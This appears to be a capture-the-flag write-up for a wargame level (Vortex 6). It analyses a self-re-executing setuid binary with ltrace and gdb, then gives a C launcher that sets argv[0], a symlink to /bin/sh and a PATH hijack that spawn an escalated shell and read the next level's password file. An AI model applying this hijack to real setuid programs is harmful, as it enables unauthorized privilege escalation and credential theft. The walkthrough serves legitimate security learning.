If we run the executable it seems to hang.
But using ltrace (or strace) we discover that it keeps executing itself creating an endless cycle:
vortex6@vortex:~$ ltrace /vortex/vortex6
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
--- Called exec() ---
__libc_start_main(0x804849f, 1, 0xffffd7c4, 0x80484e0 <unfinished ...>
execlp("/vortex/vortex6", "/vortex/vortex6", 0, 0x8048532, 0x1 <no return ...>
Let's look at the code in gdb:
vortex6@vortex:~$ gdb /vortex/vortex6
...
(gdb) disassemble main
Dump of assembler code for function main:
0x0804849f <+0>: push %ebp
0x080484a0 <+1>: mov %esp,%ebp
0x080484a2 <+3>: and $0xfffffff0,%esp
0x080484a5 <+6>: sub $0x10,%esp
0x080484a8 <+9>: mov 0x10(%ebp),%eax
0x080484ab <+12>: mov (%eax),%eax
0x080484ad <+14>: test %eax,%eax
0x080484af <+16>: je 0x80484be <main+31>
0x080484b1 <+18>: mov 0xc(%ebp),%eax
0x080484b4 <+21>: mov (%eax),%eax
0x080484b6 <+23>: mov %eax,(%esp)
0x080484b9 <+26>: call 0x804847d <restart>
0x080484be <+31>: mov 0x10(%ebp),%eax
0x080484c1 <+34>: add $0xc,%eax
0x080484c4 <+37>: mov (%eax),%eax
0x080484c6 <+39>: mov %eax,(%esp)
0x080484c9 <+42>: call 0x8048330 <printf@plt>
0x080484ce <+47>: movl $0x7325,(%esp)
0x080484d5 <+54>: call 0x8048340 <_exit@plt>
End of assembler dump.
(gdb) disassemble restart
Dump of assembler code for function restart:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: sub $0x18,%esp
0x08048483 <+6>: movl $0x0,0x8(%esp)
0x0804848b <+14>: mov 0x8(%ebp),%eax
0x0804848e <+17>: mov %eax,0x4(%esp)
0x08048492 <+21>: mov 0x8(%ebp),%eax
0x08048495 <+24>: mov %eax,(%esp)
0x08048498 <+27>: call 0x8048350 <execlp@plt>
0x0804849d <+32>: leave
0x0804849e <+33>: ret
End of assembler dump.
(gdb)
We see that if argv[0] is not set, the flow jumps to the final lines with printf() and exit().
Otherwise it jumps to restart: this procedure calls execlp() with argv[0] as parameter-
Passing a specific argv[0] we can redirect the execlp() call in the first execution of restart
Let's try with this calling program with something in the argument and ENV
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| #include <stdlib.h>
int main (int argc, char *argv[])
{
char *sc[4];
sc[0]="A";
sc[1]= "AAAA";
sc[2]= "BBBB";
sc[3]= "CCCC";
execve("/vortex/vortex6",sc,sc);
return 0;
}
|
Compile and executing it in a temporary folder
vortex6@vortex:/tmp/vortex6$ strace ./v6
execve("./v6", ["./v6"], [/* 20 vars */]) = 0
....
execve("/vortex/vortex6", ["A", "AAAA", "BBBB", "CCCC", "UW1\377VS\350\325\376\377\377\201\303\205\33"], [/* 9 vars */]) = 0
.....
execve("A", ["A"], [/* 22 vars */]) = -1 ENOENT (No such file or directory)
....
exit_group(29477) = ?
+++ exited with 37 +++
The interesting part is that it calls execve("A"), where "A" is the argv[0] we put in the calling program.
So now we create a symbolic link to /bin/sh and add local directory in the PATH.
Then execute vortex6 and...
vortex6@vortex:/tmp/vortex6$ ln -s /bin/sh A
vortex6@vortex:/tmp/vortex6$ PATH=.:$PATH
vortex6@vortex:/tmp/vortex6$ ./v6
$ id
uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6)
$ cat /etc/vortex_pass/vortex7
Y******/
$